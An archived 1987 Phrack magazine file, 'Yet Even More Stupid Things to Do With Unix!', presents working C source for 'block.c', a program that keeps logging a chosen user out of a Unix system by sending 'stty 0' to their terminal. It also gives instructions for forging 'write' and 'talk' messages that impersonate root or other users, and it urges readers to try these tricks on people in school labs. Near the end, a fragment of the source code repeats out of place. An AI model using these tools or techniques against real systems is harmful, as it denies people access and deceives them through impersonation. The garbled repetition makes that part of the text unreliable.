home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk2 / unix.p15 < prev   
Text File  |  1992-09-26  |  10KB  |  301 lines

  1.                 ===== Phrack Magazine presents Phrack 15 =====
  2.  
  3.                          ===== File 2 of 10 =====
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10. I thought I had written everything there is to write about the
  11. Unix operating system until I was recently asked to put out yet
  12. another file... so I said "I'll try, but don't publish my file
  13. along with an article by The Radical Rocker this time!"  These
  14. demands having been met, I booted up the PC and threw together...
  15.  
  16.  
  17.             --- ---- ---- ------ ------ -- -- ---- -----
  18.           % Yet Even More Stupid Things to Do With Unix! $
  19.             --- ---- ---- ------ ------ -- -- ---- -----
  20.                        By Shooting Shark.
  21.                      Submitted 26 August '87
  22.  
  23.  
  24.  
  25. These two topics are methods of annoying other users of the
  26. system and generally being a pest.  But would you want to see a
  27. file on *constructive* things to do with Unix?  Didn't think
  28. so...
  29.  
  30.  
  31. --  ------- ----- --- --- ------
  32. 1.  Keeping Users Off The System
  33. --  ------- ----- --- --- ------
  34.  
  35. Now, we all know by now how to log users off (one way is to
  36. redirect an 'stty 0' command to their tty) but unless you have
  37. root privs, this will not work when a user has set 'mesg n' and
  38. prevented other users from writing to their terminal.  But even
  39. users who have a 'mesg n' command in their .login (or .profile or
  40. .cshrc) file still have a window of vulnerability, the time
  41. between login and the locking of their terminal.  I designed the
  42. following program, block.c, to take advantage of this fact.
  43.  
  44. To get this source running on your favorite Unix system, upload
  45. it, call it 'block.c', and type the following at the % or $
  46. prompt:
  47.  
  48. cc -o block block.c
  49.  
  50. once you've compiled it successfully, it is invoked like so:
  51.  
  52. block username [&]
  53.  
  54. The & is optional and recommended - it runs the program in the
  55. background, thus letting you do other things while it's at work.
  56.  
  57. If the user specified is logged in at present, it immediately
  58. logs them out (if possible) and waits for them to log in.  If
  59. they aren't logged in, it starts waiting for them.  If the user
  60. is presently logged in but has their messages off, you'll have to
  61. wait until they've logged out to start the thing going.
  62.  
  63. Block is essentially an endless loop : it keeps checking for the
  64. occurence of the username in /etc/utmp.  When it finds it, it
  65. immediately logs them out and continues.  If for some reason the
  66. logout attempt fails, the program aborts.  Normally this won't
  67. happen - the program is very quick when run unmodified.  However,
  68. to get such performance, it runs in a very tight loop and will
  69. eat up a lot of CPU time.  Notice that near the end of the
  70. program there is the line:
  71.  
  72. /*sleep(SLEEP)   */
  73.  
  74. the /* and */ are comment delimiters - right now the line is
  75. commented out.  If you remove the comments and re-compile the
  76. program, it will then 'go to sleep' for the number of seconds
  77. defined in SLEEP (default is 5) at the end of every loop.  This
  78. will save the system load but will slightly decrease the odds of
  79. catching the user during their 'window of vulnerability.'
  80.  
  81. If you have a chance to run this program at a computer lab at a
  82. school or somewhere similar, run this program on a friend (or an
  83. enemy) and watch the reaction on their face when they repeatedly
  84. try to log in and are logged out before they can do *anything*. 
  85. It is quite humorous.  This program is also quite nasty and can
  86. make you a lot of enemies!
  87.  
  88. caveat #1:  note that if you run the program on yourself, you
  89. will be logged out, the program will continue to run (depending
  90. on the shell you're under) and you'll have locked yourself out of
  91. the system - so don't do this!
  92.  
  93. caveat #2:  I wrote this under OSx version 4.0, which is a
  94. licensed version of Unix which implements 4.3bsd and AT&T sysV. 
  95. No guarantees that it will work on your system.
  96.  
  97. caveat #3:  If you run this program in background, don't forget
  98. to kill it when you're done with it!  (when you invoke it with
  99. '&', the shell will give you a job number, such as '[2] 90125'. 
  100. If you want to kill it later in the same login session, type
  101. 'kill %2'.  If you log in later and want to kill it, type 'kill
  102. 90125'.  Just read the man page on the kill command if you need
  103. any help...
  104.  
  105. ----- cut here -----
  106.  
  107. /* block.c -- prevent a user from logging in
  108.  * by Shooting Shark
  109.  * usage : block username [&]
  110.  * I suggest you run this in background.
  111.  */
  112.  
  113. #include <stdio.h>
  114. #include <utmp.h>
  115. #include <ctype.h>
  116. #include <termio.h>
  117. #include <fcntl.h>
  118.  
  119. #define W_OK2
  120. #define SLEEP5
  121. #define UTMP"/etc/utmp"
  122. #define TTY_PRE "/dev/"
  123.  
  124. main(ac,av)
  125. int ac;
  126. char *av[];
  127. {
  128. int target, fp, open();
  129. struct utmpuser;
  130. struct termio*opts;
  131. char buf[30], buf2[50];
  132.  
  133. if (ac != 2) {
  134. printf("usage : %s username\n",av[0]);
  135. exit(-1);
  136. }
  137.  
  138.  
  139. for (;;) {
  140.  
  141. if ((fp = open(UTMP,0)) == -1) {
  142. printf("fatal error!  cannot open %s.\n",UTMP);
  143. exit(-1);
  144. }
  145.  
  146.  
  147. while (read(fp, &user, sizeof user) > 0) {
  148. if (isprint(user.ut_name[0])) {
  149. if (!(strcmp(user.ut_name,av[1]))) {
  150.  
  151. printf("%s is logging in...",user.ut_name);
  152. sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
  153. printf("%s\n",buf);
  154. if (access(buf,W_OK) == -1) {
  155. printf("failed - program aborting.\n");
  156. exit(-1);
  157. }
  158. else {
  159. if ((target = open(buf,O_WRONLY)) != EOF) {
  160. sprintf(buf2,"stty 0 > %s",buf);
  161. system(buf2);
  162. printf("killed.\n");
  163. sleep(10);
  164. }
  165.  
  166. } /* else */
  167. } /* if strcmp */
  168. } /* if isprint */
  169. } /* while */
  170. close(fp);
  171.  
  172. /*sleep(SLEEP);  */
  173.  
  174. } /* for */
  175.  
  176.  
  177.  
  178.  
  179.  
  180. }
  181.  
  182. ----- cut here -----
  183.  
  184.  
  185. --  ------------- ----- ----- ---- ------  --- ------
  186. 2.  Impersonating other users with 'write' and 'talk'
  187. --  ------------- ----- ----- ---- ------  --- ------
  188.  
  189. This next trick wasn't exactly a work of stupefying genius, but
  190. is a little trick (that anybody can do) that I sometimes use to
  191. amuse myself and, as with the above, annoy the hell out of my
  192. friends and enemies.
  193.  
  194. Nearly every Unix system has the 'write' program, for conversing
  195. with other logged-in users.  As a quick summary:
  196.  
  197. If you see that user 'clara' is logged in with the 'who' or 'w'
  198. command or whatever, and you wish to talk to her for some reason
  199. or another, you'd type 'write clara'.  Clara then would see on
  200. her screen something like this (given that you are username
  201. 'shark'):
  202.  
  203.  
  204. [3 ^G's] Message from shark on ttyi13 at 23:14 ...
  205.  
  206. You then type away at her, and whatever you type is sent to her
  207. terminal line-by-line.  If she wanted to make it a conversation
  208. rather than a monologue, she'd type 'write shark,' you'd get a
  209. message similar to the above on your terminal, and the two of you
  210. would type away at each other to your little heart's content.  If
  211. either one of you wanted to end the conversation, you would type
  212. a ^D.  They would then see the characters 'EOF' on their screen,
  213. but they'd still be 'write'ing to you until they typed a ^D as
  214. well.
  215.  
  216. Now, if you're on a bigger installation you'll probably have some
  217. sort of full-screen windowing chat program like 'talk'.  My
  218. version of talk sends the following message:
  219.  
  220. Message from Talk_Daemon@tibsys at 23:14 ...
  221. talk: connection requested by shark@tibsys.
  222. talk: respond with:  talk shark@tibsys
  223.  
  224. Anyway, here's where the fun part begins:  It's quite easy to put
  225. a sample 'write' or 'talk' message into a file and then edit so
  226. that the 'from' is a different person, and the tty is listed
  227. differently.  If you see that your dorky friend roger is on
  228. ttyi10 and the root also happens to be logged on on ttyi01, make
  229. the file look something like this:
  230.  
  231. [3 control-G's] Message from root on ttyi01 at [the current time]
  232.  
  233. wackawackawackawackawacka!!!
  234.  
  235. [or a similarly confusing or rude message...]
  236.  
  237. EOF
  238.  
  239. Then, send this file to roger's terminal with:
  240.  
  241. cat filename > /dev/ttyi10
  242.  
  243. He'll get the message on his terminal and wonder what the hell
  244. the superuser is talking about.  He might even 'write' back to
  245. the superuser with the intent of asking 'what the hell are you
  246. talking about?'.  For maximum effectiveness, *simultaneously*
  247. send a message to root 'from' roger at the appropriate terminal
  248. with an equally strange message - they'll then engage in a
  249. conversation that will go something like "what did you mean by
  250. that?"  "what do you mean, what do I mean?  What did *you* mean
  251. by that?" etc.  A splendid time is guaranteed for all!  Note that
  252. you don't have to make 'root' the perpetrator of the gag, any two
  253. currently logged-in users who have their terminals open for
  254. messages can join in on the fun.
  255.  
  256. Similarly, you can fake a few 'talk' pages from/to two
  257. people...they will then probably start talking...although the
  258. conversation will be along the lines of "what do you want?"  "you
  259. tell me."  "you paged me, you tell *me." etcetera, while you
  260. laugh yourself silly or something like that.
  261.  
  262. A variation on the theme:  As I said, when using 'write' you type
  263. a ^D to end the conversation, and the person you're typing at
  264. sees an 'EOF' on their screen.  But you could also just *type*
  265. 'EOF', and they'd think you've quit...but you still have an open
  266. line to their terminal.  Even if they later turn messages off,
  267. you still have the ability to write to their terminal.  Keeping
  268. this fact in mind, anybody who knows what they're doing can write
  269. a program similar to my 'block' program above that doesn't log a
  270. user out when they appear on the system, but opens their tty as a
  271. device and keeps the file handle in memory so you can redirect to
  272. their terminal - to write rude messages or to log them out or
  273. whatever - at any time, until they log out.
  274.  
  275. As I said, there was no great amount of genious in the above
  276. discourse, but it's a pastime I enjoy occasionally...
  277.  
  278. -- Shooting Shark
  279.  
  280.  
  281. "the first fact to face is that unix was not developed with
  282. security, in any realistic sense, in mind..."
  283.  
  284. -- Dennis M. Ritchie
  285.  
  286. "Oryan QUEST couldn't hack his way out of a UNIX system, let
  287. alone into one."
  288.  
  289. -- Tharrys Ridenow
  290. f("fatal error!  cannot open %s.\n",UTMP);
  291. exit(-1);
  292. }
  293.  
  294.  
  295. while (read(fp, &user, sizeof user) > 0) {
  296. if (isprint(user.ut_name[0])) {
  297. if (!(strcmp(user.ut_name,av[1]))) {
  298.  
  299. printf("%s is logging in...",user.ut_name
  300. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  301.